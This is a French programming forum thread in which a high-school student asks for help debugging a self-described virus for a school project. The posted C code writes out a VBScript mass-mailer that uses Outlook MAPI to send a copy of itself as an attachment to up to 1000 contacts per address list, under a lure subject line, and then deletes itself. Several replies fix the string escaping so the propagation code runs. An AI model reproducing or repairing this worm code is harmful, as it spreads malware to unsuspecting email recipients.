TPE 2007-2008 aide svp [Résolu]

Signaler
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008
-
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
-
Bonjour,


Je suis en année de premiere scientifique (option SI) et l'heure du passage devant un jury pour le TPE approche.


J'ai choisit, comme thème les virus informatiques et j'ai dut en créer un. Malheureusement, il y a un problème dans le code. Ce virus a été programmé en C (avec Dev Cpp) et est inspiré du virus Xanax de Gygabite. En fait, ce code en C créé un fichier VBS (visual basic) pour l'infection mail et écrit dedans avec lma fonctionfprintf. La compilation du programme se passe normalement mais quand je test ce programme sur mon pc, celui ci plante : en effet, quand je met le code vbs en commentaires le pc n'en tient pas compte et le virus fonctionne normalement (sans infection mail) mais quand je met la fonctionfprintfaccessible à la compilation ça ne fonctionne pas...

Voici un extrait de mon programme avec le code VBS (avec lesfpintf) :

vfile = fopen("c:\\TPEvirus0708.vbs","wt");   if(vfile)
   {
    VirMsgBox("code en version VBS"); /* n'y passe pas ??? */
     fprintf(vfile,"On Error Resume Next\n");
     fprintf(vfile,"Dim TPEvirus0708, Mail, Counter, A, B, C, D, E, F\n");
     fprintf(vfile,"Set TPEvirus0708 = CreateObject(%coutlook.application%c)\n", 34, 34);
     fprintf(vfile,"Set Mail = TPEvirus0708.GetNameSpace(%cMAPI%c)\n", 34, 34);
     fprintf(vfile,"For A = 1 To Mail.AddressLists.Count\n");
     fprintf(vfile,"FOR B = Mail.AdressLists(A)\n");
     fprintf(vfile,"Counter = 1\n");
     fprintf(vfile,"Set C = TPEvirus0708.CreateItem(0)\n");
     fprintf(vfile,"For D = 1 To B.AdressEntries.Count\n");
     fprintf(vfile,"E = B.AdressEntries(Counter)\n");
     fprintf(vfile,"C.Recipients.Add E\n");
     fprintf(vfile,"Counter = Counter + 1\n");
     fprintf(vfile,"If Counter > 1000 Then Exit For\n");
     fprintf(vfile,"Next\n");
     fprintf(vfile,"C.Subject = %cNeed For Speed for YOUR Computer? Try This!%c\n", 34, 34);
     fprintf(vfile,"C.Body = %cTEXTE MESSAGE", 34);
     fprintf(vfile,"TEXTE MESSAGE");
     fprintf(vfile,"TEXTE MESSAGE%c", 34);
     fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n, 34, Buffer, 92 ,92, CopyName, 34");
     fprintf(vfile,"C.DeleteAfterSubmit = True\n");
     fprintf(vfile,"C.Send\n");
     fprintf(vfile,"E = %c%c\n", 34, 34);
     fprintf(vfile,"Next\n");
     fprintf(vfile,"Set F = CreateObject(%cScripting.FileSystemObject%c", 34, 34);
     fprintf(vfile,"F.DeleteFile Wscript.ScriptFullName\n");
     fclose(vfile);
    }
    VirMsgBox("005:execution du code VBS");
    ShellExecute(NULL, "open", "TPEvirus0708.vbs", NULL, NULL, SW_SHOWNORMAL);

Je met des MessageBox pour qu'à l'installation du virus, des explications s'affichent (j'ai créé une fonction VirMsgBox pour cela).

On en vient donc à la question :
 fprintfqui ne ferait pas planter le programme

Merci de votre <gras>Aide
!!! 
Cordialement !
--HAZKAAL--

19 réponses

Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

Personnellement j'utilise les flux C++.
Et je me suis créé une librairie de gestion des fichiers qui utilise les API (mais ça je la garde).

Regarde ma source : http://www.cppfrance.com/codes/ENVOI-RECEPTION-FICHIERS-CLIENT-SERVEUR-DEV-CPLUSPLUS_41921.aspx
Il y a le client qui lit et le serveur qui écrit un fichier en C++.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

Au fait bonne chance pour ton TPE.
Moi je suis en Terminale et je fais PPE, là c'est un truc chaud.
Commande du bras schrader à distance via un réseau informatique.
Il y a une ordinateur système relié à la carte électronique que je fais actuellement, cette carte est relié aux distributeurs. L'ordinateur système est relié à un réseau informatique.
Il y a un logiciel serveur (sur l'ordi système) et un logiciel client (pupitre virtuel).

Bon allez j'ai du boulot !

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
966
Date d'inscription
samedi 3 avril 2004
Statut
Membre
Dernière intervention
4 mars 2010
4
Où le programme plante-t-il? A l'écriture dans le fichier, ou à l'exécution?
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Salut,


Merci pour les réponses et pour l'encouragement c'est gentil 
En fait mon programme est en C et ça m'embeterait de devoir tout refaire en C++...
mon programme marche à la compilation... C'est à l'execution qu'il plante... ...
heeeeelp please

Cordialement
Merci beacoup pour le soutient   

--HAZKAAL--
Messages postés
482
Date d'inscription
vendredi 26 août 2005
Statut
Membre
Dernière intervention
5 décembre 2009

Bonjour,

1) Le guillemet dans une chaîne se code avec " ! c'est plus simple que ces %c et 34
fprintf(vfile,"C.Body = %cxxx%c", 34,34);
devient
fprintf(vfile,"C.Body = "xxx"");

2) Open "c:\TPEvirus0708.vbs" et ShellExecute sans le "c:" ! Trouve-t-il le fichier créé ?

Jean-François
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

Pour passer en C++ il n'y a rien à changer à part l'extension du fichier .cpp au lieu de .c !
C'est magique sous Dev-C++. Si tu l'as mis dans un projet tu vas dans Option du projet > Fichiers > main.cpp et tu couche "Compiler en tant que C++" > OK et c'est fait.

Sinon tu débugge avec F8 et au moment ou ton prog plante tu regarde Dev-C++ tu mets un code en bleu : c'est où ça plante.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Bonjour,

Je vais essayer en créant un fichier VBS vide... peut être qu'il le remplira si je fais ainsi...  Je ne connais pas tres bien le VBS, y a t'il besoin d'un compilateur ???
Je vais aussi essayer en enlevant les %c et les 34...
Je vous tient au courant de mon avancée

Merci beaucoup pour l'aide que vous m'apportez
Cordialement.
--HAZKAAL--
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

C'est avec plaisir que je réponds à tes questions. Je te souhaite bonne chance pour ton TPE (Travaux Personnels Encadrés) et pour tes PPE (Projet Pluritechnique Encadré) si tu continue la SI (Sciences de l'Ingénieur).

En tout cas si tu veux j'ai trouvé un site qui m'a l'air pas mal pour apprendre le VBS : http://www.bellamyjc.org/fr/vbscript.html

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
280
Date d'inscription
dimanche 7 septembre 2003
Statut
Membre
Dernière intervention
8 juillet 2014
4
salut essaye deja
FILE *f = fopen("C:\\a.txt","w");
fprintf(f,"test\n");
fclose(f);

chez moi ça marche...

sinon ton erreur doit peut-être venir de VirMsgBox
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Bonjour,
Désolé, il y a eu un probleme au postage...
Merci acx01b, ta techinque fonctionne :)
Mais j'ai néemmoins un probleme : à quoi servent les ",34" et ",92" dans mon code ??? Car je croix que c'est ça qu'il le fait planter :s ...

Merci de votre aide qui m'est très précieuse !!!
A bientôt
The HazKaaL
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Ca y est !!!
J'ai trouvé la ligne qui fait planter, ce ne sont pas les "34" et"92" qui font planter !!!

La voici :
fprintf(fol,"C.Attachments.Add "%s"system"%s"\n", 34, Buffer, 92 ,92, CopyName, 34);
En particulier :
"%s"system"%s"\n

Mais je ne voix pas ce que cela peut être...
Les %n ??? Les " ???
Messages postés
482
Date d'inscription
vendredi 26 août 2005
Statut
Membre
Dernière intervention
5 décembre 2009

fprintf("...%c...",34) : le %c est remplacé par le caractère de code ASCII 34 qui est le guillement.
fprintf("..."...") : fait la même chose directement dans la chaîne.
92 code ASCII du backslash ("") --> fprintf("...%c...",92) fprintf("...\\...")

Jean-François
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

fprintf(fol,"C.Attachments.Add "%s"system"%s"\n", 34, Buffer, 92 ,92, CopyName, 34);

Il y a 2 '%' dans ta chaine donc 2 paramètres sont à ajouter après la chaine donc dans ton cas il y en a 4 en trop il me semble.
Ensuite %s signifie si je ne me trompe une chaine de caractère or 34 n'est pas une chaine de caractère dont plantage.
Pour un entier je crois que c'est %d .

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Bonjour !

Merci J. François pour ta participation :-)
Victor, que dois je faire alors pour que " %s " system " %s"\ fonctionne correctement ???


Merciiiiiiiiiiiiiiiiiiiiiiii
Messages postés
67
Date d'inscription
dimanche 4 février 2007
Statut
Membre
Dernière intervention
4 novembre 2008

Error convertoring HTML to XHTML: System.Exception: Unexpected EOF parsing start tag 'a'
at FreeTextBoxControls.Support.Sgml.Entity.Error(String msg, String arg)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseStartTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.Read()
at System.Xml.XmlWriter.WriteNode(XmlReader reader, Boolean defattr)
at FreeTextBoxControls.Support.Formatter.HtmlToXhtml(String input)
Messages postés
482
Date d'inscription
vendredi 26 août 2005
Statut
Membre
Dernière intervention
5 décembre 2009

Dans une chaîne de caractères le backslash (\) introduit un caractère spécial qui ne peut pas être placé directement, comme les guillemets qui servent déjà à délimiter la chaîne ! on appelle cela une séquence escape.

Séquence escape     Représente
\a                           Beep système
\b                           Backspace
\f                           Saut de page
\n                           Saut de ligne
\r                           Retour chariot
\t                           Tabulation horizontale
\v                           Tabulation verticale
\'                           '
"                           "
\\                           \
\?                           ?
\0                           Introduit un nombre en octal, ex \0101 = décimal 65 = lettre A
\x                           Introduit un nombre en hexadécimal, ex: \x41 = décimal 65 = lettre A

Le \ devant tout autre caractère non prévu donnera le caractère lui-même : \k --> k

Jean-François
Messages postés
482
Date d'inscription
vendredi 26 août 2005
Statut
Membre
Dernière intervention
5 décembre 2009

fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n,34,Buffer,92,92,CopyName,34");



peut s'écrire :

fprintf(vfile,"C.Attachments.Add "%s\system\%s"\n, Buffer,CopyName");

ce qui est incorrect : les backslaches ne sont pas suivis du caractère qu'ils introduisent. Je pense qu'ici il faut les doubler puisqu'ils codent le \ dans un chemin d'accès a priori ! et le " final du format est mal placé.

fprintf(vfile,"C.Attachments.Add "%s\\system\\%s"\n",Buffer,CopyName);

Jean-François
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

Dis moi à quoi ça correspond avec tes mots et avec un p'tit exemple et je pourrais te corriger ta fonction.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
Messages postés
1100
Date d'inscription
jeudi 24 avril 2003
Statut
Membre
Dernière intervention
17 octobre 2012
5
Bonjour,

Si tu veux écrire :
    C.Attachments.Add "C:\Windows\system\un fichier.txt"
Où :
    C:\Windows
Est stocké dans :
    variable1
Et Où :
    un fichier.txt
Est stocké dans :
    variable2
Tu met :
    fprintf(fol,"C.Attachments.Add "%s\\system\\%s"", variable1, variable2);

Et si tu veux aller à la ligne après le " tu rajoute \n
Attention variable1 et variable2 sont deux variables en C++ de type char* (chaine de caractères)

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com